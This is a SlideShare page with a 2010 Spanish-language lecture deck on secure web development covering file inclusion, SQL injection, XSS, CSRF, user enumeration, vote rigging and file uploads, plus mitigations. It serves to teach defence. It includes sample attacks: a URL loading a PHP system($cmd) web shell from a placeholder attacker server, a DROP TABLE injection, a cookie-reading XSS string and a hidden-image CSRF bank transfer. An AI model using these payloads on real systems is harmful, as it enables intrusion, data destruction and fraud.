SlideShare una empresa de Scribd logo
1 de 17
Desarrollo web Seguro
Martín Aberastegue
29 de Octubre de 2010
Programación 4
Amenazas mas comunes
• Inclusión Remota/Local de archivos (RFI/LFI)
• SQL Injection
• Cross Site Scripting (XSS)
• Cross-Site Request Forgery (CSRF)
• Enumeración de Usuarios
• Sistemas de votaciones
• Subida de archivos (falta control de extensiones y tipos)
Remote/Local file inclusion
Este tipo de vulnerabilidades permite a un atacan incluir archivos arbitrariamente, tanto local como
remotamente, debido a la falta de validación de los datos ingresados.
index.php
<?
include($seccion);
?>
http://[servidor_victima]/index.php?seccion=http://[servidor_atacante]/shell.txt&&cmd=ls
shell.txt
<?
system($cmd);
?>
http://[servidor_victima]/index.php?seccion=contacto.php
Remote/Local file inclusion
• Banco Patagonia
– RRHH con más de 30,000 postulantes
– Demoraron 11 meses en repararlo
SQL Injection
• Ejemplo:
• El pequeño Bobby Tables
La inyección de código SQL es una vulnerabilidad que consiste en el aprovechamiento de la falta de
validación y filtrado de las variables utilizadas en una consulta SQL.
$query_result = mysql_query("SELECT * FROM usuarios WHERE nombre = '" . $nombre_usuario . "'");
SELECT * FROM usuarios WHERE nombre = 'Jorge';
SELECT * FROM usuarios WHERE nombre = 'Jorge';
DROP TABLE usuarios;
SELECT * FROM datos WHERE 'A' = 'A';
$query_result = mysql_query("SELECT * FROM usuarios WHERE nombre = '" . mysql_real_escape_string($nombre_usuario) . "'");
SELECT * FROM usuarios WHERE nombre = 'Alicia';nDROP TABLE usuarios;nSELECT * FROM datos WHERE '-' = '-';
SQL Injection
• Pasa en las mejores familias… o bancos
SQL Injection & XSS en RedLink (Home Banking)
Afecto a 33 entidades bancarias (2004)
• Banco Columbia
• Banco de Córdoba
• Banco de Corrientes
• Banco de Formosa
• Banco de la Ciudad de Buenos Aires
• Banco de la Nación Argentina
• Banco de la Pampa
• Banco de la Provincia de Buenos Aires
• Banco de la Provincia del Neuquén
• Banco de San Juan
• Banco de Tierra del Fuego
• Banco del Chubut
• Banco del Tucumán
• Banco Finansur
• Banco Hipotecario
• Banco Industrial
• Banco Macro Bansud
• Banco Mariva
• Banco Municipal de la Plata
• Banco Municipal de Rosario
• Banco Privado
• Banco Sáenz
• Banco Santa Cruz
• Banco Santiago del Estero
• BNP Paribas
• Credimas
• Italcred
• Masventas Cia. Financiera
• Nuevo Banco de Entre Rios
• Nuevo Banco de La Rioja
• Nuevo Banco de Santa Fe
• Nuevo Banco del Chaco
• Sadela Cia. Financiera
SQL Injection
• Pasa en las mejores familias… o bancos
SQL Injection & datos por defecto en admin del CMS de Banco XXXX (2007)
Cross Site Scripting (XSS)
Es un error que consiste en la falta de validación por parte de la aplicación de los valores pasados a las
variables, por lo que si estas son mostradas en pantalla sin ningún tipo de filtro las mismas podrían ejecutar
código HTML/JS/etc.
Esta vulnerabilidad usualmente es considerada de bajo impacto, pero puede ser muy peligrosa también
dependiendo del enfoque del atacante.
Una forma de evitar esto es haciendo uso de la función htmlentities()
Ejemplo:
http://www.victima.com/buscar.php?s=texto+buscado
http://www.victima.com/buscar.php?s="><script>alert(document.cookie);<script>
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
POST http://banco.com.ar/transferir.php HTTP/1.1
...
...
Content-Length: 24;
destino=Carlos&monto=500
<img src="http://banco.com.ar/transferir.php?destino=Martin&monto=5000" width="1"
height="1" border="0">
GET http://banco.com.ar/transferir.php?destino=Carlos&monto=500 HTTP/1.1
CRSF fue un termino acuñado por Peter Watkins en el año 2001, pero el primer reporte de esta
vulnerabilidad se dio a conocer en 2000.
La mejor forma de entenderlo es con un ejemplo, y resumiendo esta vulnerabilidad le permitiría a un
atacante ejecutar comandos en un sitio determinado (A) cuando la victima ingresa al sitio (B),
debido a una falta de comprobación del origen de los datos por parte de (A).
Ejemplo:
Una forma de tratar de contrarrestar este tipo de ataques es haciendo uso de tokens asociados a la sesión
activa del usuario.
Enumeración de Usuarios
El usuario no existe El usuario existe
Sistemas de Votaciones
• Big Idea Chair (Yahoo!)
Solos realiza control por cookie.
http://www.bigideachair.com.ar/shortlist2010/shortlist_caso01.php
• Hugo Create (Hugo Boss)
Control por cookie e IP mal implementado haciendo uso de AJAX.
http://www.hugocreate.com/common/php/rpc.php?j=1&q=36119&t=187.219.197.188
Los sistemas de votaciones también suelen ser objetivo de ataques y muchas veces no se realizan
buenos controles por lo que los resultados de las mismas podrían ser fácilmente influenciados.
Subida de Archivos
Aquí el problema radica en que muchas veces no se aplican buenos filtros a los archivos a subir, tanto
en tamaño, tipo o extensión; lo que brinda la posibilidad a un atacante de subir su propio código a
nuestro servidor y ejecutarlo pudiendo así ganar acceso a los archivos de nuestro sitio.
.htaccess
<Files ^(*.jpeg|*.jpg|*.png|*.gif)>
order deny,allow
deny from all
</Files>
AddType text/plain .pl
AddType text/plain .cgi
AddType text/plain .php
No permitir la ejecución de archivos donde no se deba.
Los casos mas comunes se dan en los sitios que permiten a los usuarios subir
sus propias imágenes, avatares o documentos.
Consejos
• ¡Las claves no se guardan en texto plano!
• Enviar información sensible cifrada
• Utilizar tokens asociados a la sesión del usuario
• No utilizar nombres de archivos muy obvios en
secciones privadas o de acceso restringido.
• Usar el sentido común
¿Preguntas?
¡Muchas Gracias!
Martín Aberastegue
xyborg@gmail.com
http://www.martinaberastegue.com

Más contenido relacionado

Similar a Desarrollo web seguro: Amenazas comunes y cómo prevenirlas

Cer tuy capacitaciones2011_v1
Cer tuy capacitaciones2011_v1Cer tuy capacitaciones2011_v1
Cer tuy capacitaciones2011_v1Andrés Gómez
 
Laboratorios de Entrenamiento en Seguridad Informática - FLISOL 2010
Laboratorios de Entrenamiento en Seguridad Informática - FLISOL 2010Laboratorios de Entrenamiento en Seguridad Informática - FLISOL 2010
Laboratorios de Entrenamiento en Seguridad Informática - FLISOL 20104v4t4r
 
1 sq linjection
1 sq linjection1 sq linjection
1 sq linjectionTensor
 
Owasp top 10 2017
Owasp top 10 2017Owasp top 10 2017
Owasp top 10 2017yopablo
 
Técnicas detrás de los fraudes bancarios
Técnicas detrás de los fraudes bancariosTécnicas detrás de los fraudes bancarios
Técnicas detrás de los fraudes bancariosHéctor López
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Webacksec
 
Ataques a aplicaciones web
Ataques a aplicaciones webAtaques a aplicaciones web
Ataques a aplicaciones webAlan Resendiz
 
Vulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones WebVulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones WebAlonso Caballero
 
Imperva-presentacion-GMS.pdf
Imperva-presentacion-GMS.pdfImperva-presentacion-GMS.pdf
Imperva-presentacion-GMS.pdfAlejandro Daricz
 
Introducción a las vulnerabilidades Web: cómo detectarlas y evitarlas
Introducción a las vulnerabilidades Web: cómo detectarlas y evitarlasIntroducción a las vulnerabilidades Web: cómo detectarlas y evitarlas
Introducción a las vulnerabilidades Web: cómo detectarlas y evitarlasS2 Grupo · Security Art Work
 
Racciatti Html Scripting Attacks
Racciatti Html Scripting AttacksRacciatti Html Scripting Attacks
Racciatti Html Scripting AttacksCristian Borghello
 
Seguridad en la web no confíes en el usuario
Seguridad en la web   no confíes en el usuarioSeguridad en la web   no confíes en el usuario
Seguridad en la web no confíes en el usuarioCarlos Soriano
 
Resumen curso de seguridad para desarrolladores de aplicaciones web, webservi...
Resumen curso de seguridad para desarrolladores de aplicaciones web, webservi...Resumen curso de seguridad para desarrolladores de aplicaciones web, webservi...
Resumen curso de seguridad para desarrolladores de aplicaciones web, webservi...mauromaulinir
 
Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Alonso Caballero
 
Aseguramiento de Vulnerabilidades Web con tecnologías OWASP
Aseguramiento de Vulnerabilidades Web con tecnologías OWASPAseguramiento de Vulnerabilidades Web con tecnologías OWASP
Aseguramiento de Vulnerabilidades Web con tecnologías OWASPcampus party
 

Similar a Desarrollo web seguro: Amenazas comunes y cómo prevenirlas (20)

Cer tuy capacitaciones2011_v1
Cer tuy capacitaciones2011_v1Cer tuy capacitaciones2011_v1
Cer tuy capacitaciones2011_v1
 
Hacking Web: Attacks & Tips
Hacking Web: Attacks & TipsHacking Web: Attacks & Tips
Hacking Web: Attacks & Tips
 
Laboratorios de Entrenamiento en Seguridad Informática - FLISOL 2010
Laboratorios de Entrenamiento en Seguridad Informática - FLISOL 2010Laboratorios de Entrenamiento en Seguridad Informática - FLISOL 2010
Laboratorios de Entrenamiento en Seguridad Informática - FLISOL 2010
 
Bajo Ataque 2.pptx
Bajo Ataque 2.pptxBajo Ataque 2.pptx
Bajo Ataque 2.pptx
 
Sicsti hacking
Sicsti hackingSicsti hacking
Sicsti hacking
 
Temas owasp
Temas owaspTemas owasp
Temas owasp
 
1 sq linjection
1 sq linjection1 sq linjection
1 sq linjection
 
Owasp top 10 2017
Owasp top 10 2017Owasp top 10 2017
Owasp top 10 2017
 
Técnicas detrás de los fraudes bancarios
Técnicas detrás de los fraudes bancariosTécnicas detrás de los fraudes bancarios
Técnicas detrás de los fraudes bancarios
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Web
 
Ataques a aplicaciones web
Ataques a aplicaciones webAtaques a aplicaciones web
Ataques a aplicaciones web
 
Vulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones WebVulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones Web
 
Imperva-presentacion-GMS.pdf
Imperva-presentacion-GMS.pdfImperva-presentacion-GMS.pdf
Imperva-presentacion-GMS.pdf
 
Introducción a las vulnerabilidades Web: cómo detectarlas y evitarlas
Introducción a las vulnerabilidades Web: cómo detectarlas y evitarlasIntroducción a las vulnerabilidades Web: cómo detectarlas y evitarlas
Introducción a las vulnerabilidades Web: cómo detectarlas y evitarlas
 
Racciatti Html Scripting Attacks
Racciatti Html Scripting AttacksRacciatti Html Scripting Attacks
Racciatti Html Scripting Attacks
 
Seguridad en la web no confíes en el usuario
Seguridad en la web   no confíes en el usuarioSeguridad en la web   no confíes en el usuario
Seguridad en la web no confíes en el usuario
 
Vulnerabilidades web
Vulnerabilidades webVulnerabilidades web
Vulnerabilidades web
 
Resumen curso de seguridad para desarrolladores de aplicaciones web, webservi...
Resumen curso de seguridad para desarrolladores de aplicaciones web, webservi...Resumen curso de seguridad para desarrolladores de aplicaciones web, webservi...
Resumen curso de seguridad para desarrolladores de aplicaciones web, webservi...
 
Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0
 
Aseguramiento de Vulnerabilidades Web con tecnologías OWASP
Aseguramiento de Vulnerabilidades Web con tecnologías OWASPAseguramiento de Vulnerabilidades Web con tecnologías OWASP
Aseguramiento de Vulnerabilidades Web con tecnologías OWASP
 

Desarrollo web seguro: Amenazas comunes y cómo prevenirlas

  • 1. Desarrollo web Seguro Martín Aberastegue 29 de Octubre de 2010 Programación 4
  • 2. Amenazas mas comunes • Inclusión Remota/Local de archivos (RFI/LFI) • SQL Injection • Cross Site Scripting (XSS) • Cross-Site Request Forgery (CSRF) • Enumeración de Usuarios • Sistemas de votaciones • Subida de archivos (falta control de extensiones y tipos)
  • 3. Remote/Local file inclusion Este tipo de vulnerabilidades permite a un atacan incluir archivos arbitrariamente, tanto local como remotamente, debido a la falta de validación de los datos ingresados. index.php <? include($seccion); ?> http://[servidor_victima]/index.php?seccion=http://[servidor_atacante]/shell.txt&&cmd=ls shell.txt <? system($cmd); ?> http://[servidor_victima]/index.php?seccion=contacto.php
  • 4. Remote/Local file inclusion • Banco Patagonia – RRHH con más de 30,000 postulantes – Demoraron 11 meses en repararlo
  • 5. SQL Injection • Ejemplo: • El pequeño Bobby Tables La inyección de código SQL es una vulnerabilidad que consiste en el aprovechamiento de la falta de validación y filtrado de las variables utilizadas en una consulta SQL. $query_result = mysql_query("SELECT * FROM usuarios WHERE nombre = '" . $nombre_usuario . "'"); SELECT * FROM usuarios WHERE nombre = 'Jorge'; SELECT * FROM usuarios WHERE nombre = 'Jorge'; DROP TABLE usuarios; SELECT * FROM datos WHERE 'A' = 'A'; $query_result = mysql_query("SELECT * FROM usuarios WHERE nombre = '" . mysql_real_escape_string($nombre_usuario) . "'"); SELECT * FROM usuarios WHERE nombre = 'Alicia';nDROP TABLE usuarios;nSELECT * FROM datos WHERE '-' = '-';
  • 6. SQL Injection • Pasa en las mejores familias… o bancos SQL Injection & XSS en RedLink (Home Banking) Afecto a 33 entidades bancarias (2004) • Banco Columbia • Banco de Córdoba • Banco de Corrientes • Banco de Formosa • Banco de la Ciudad de Buenos Aires • Banco de la Nación Argentina • Banco de la Pampa • Banco de la Provincia de Buenos Aires • Banco de la Provincia del Neuquén • Banco de San Juan • Banco de Tierra del Fuego • Banco del Chubut • Banco del Tucumán • Banco Finansur • Banco Hipotecario • Banco Industrial • Banco Macro Bansud • Banco Mariva • Banco Municipal de la Plata • Banco Municipal de Rosario • Banco Privado • Banco Sáenz • Banco Santa Cruz • Banco Santiago del Estero • BNP Paribas • Credimas • Italcred • Masventas Cia. Financiera • Nuevo Banco de Entre Rios • Nuevo Banco de La Rioja • Nuevo Banco de Santa Fe • Nuevo Banco del Chaco • Sadela Cia. Financiera
  • 7. SQL Injection • Pasa en las mejores familias… o bancos SQL Injection & datos por defecto en admin del CMS de Banco XXXX (2007)
  • 8. Cross Site Scripting (XSS) Es un error que consiste en la falta de validación por parte de la aplicación de los valores pasados a las variables, por lo que si estas son mostradas en pantalla sin ningún tipo de filtro las mismas podrían ejecutar código HTML/JS/etc. Esta vulnerabilidad usualmente es considerada de bajo impacto, pero puede ser muy peligrosa también dependiendo del enfoque del atacante. Una forma de evitar esto es haciendo uso de la función htmlentities() Ejemplo: http://www.victima.com/buscar.php?s=texto+buscado http://www.victima.com/buscar.php?s="><script>alert(document.cookie);<script>
  • 11. Cross-Site Request Forgery (CSRF) POST http://banco.com.ar/transferir.php HTTP/1.1 ... ... Content-Length: 24; destino=Carlos&monto=500 <img src="http://banco.com.ar/transferir.php?destino=Martin&monto=5000" width="1" height="1" border="0"> GET http://banco.com.ar/transferir.php?destino=Carlos&monto=500 HTTP/1.1 CRSF fue un termino acuñado por Peter Watkins en el año 2001, pero el primer reporte de esta vulnerabilidad se dio a conocer en 2000. La mejor forma de entenderlo es con un ejemplo, y resumiendo esta vulnerabilidad le permitiría a un atacante ejecutar comandos en un sitio determinado (A) cuando la victima ingresa al sitio (B), debido a una falta de comprobación del origen de los datos por parte de (A). Ejemplo: Una forma de tratar de contrarrestar este tipo de ataques es haciendo uso de tokens asociados a la sesión activa del usuario.
  • 12. Enumeración de Usuarios El usuario no existe El usuario existe
  • 13. Sistemas de Votaciones • Big Idea Chair (Yahoo!) Solos realiza control por cookie. http://www.bigideachair.com.ar/shortlist2010/shortlist_caso01.php • Hugo Create (Hugo Boss) Control por cookie e IP mal implementado haciendo uso de AJAX. http://www.hugocreate.com/common/php/rpc.php?j=1&q=36119&t=187.219.197.188 Los sistemas de votaciones también suelen ser objetivo de ataques y muchas veces no se realizan buenos controles por lo que los resultados de las mismas podrían ser fácilmente influenciados.
  • 14. Subida de Archivos Aquí el problema radica en que muchas veces no se aplican buenos filtros a los archivos a subir, tanto en tamaño, tipo o extensión; lo que brinda la posibilidad a un atacante de subir su propio código a nuestro servidor y ejecutarlo pudiendo así ganar acceso a los archivos de nuestro sitio. .htaccess <Files ^(*.jpeg|*.jpg|*.png|*.gif)> order deny,allow deny from all </Files> AddType text/plain .pl AddType text/plain .cgi AddType text/plain .php No permitir la ejecución de archivos donde no se deba. Los casos mas comunes se dan en los sitios que permiten a los usuarios subir sus propias imágenes, avatares o documentos.
  • 15. Consejos • ¡Las claves no se guardan en texto plano! • Enviar información sensible cifrada • Utilizar tokens asociados a la sesión del usuario • No utilizar nombres de archivos muy obvios en secciones privadas o de acceso restringido. • Usar el sentido común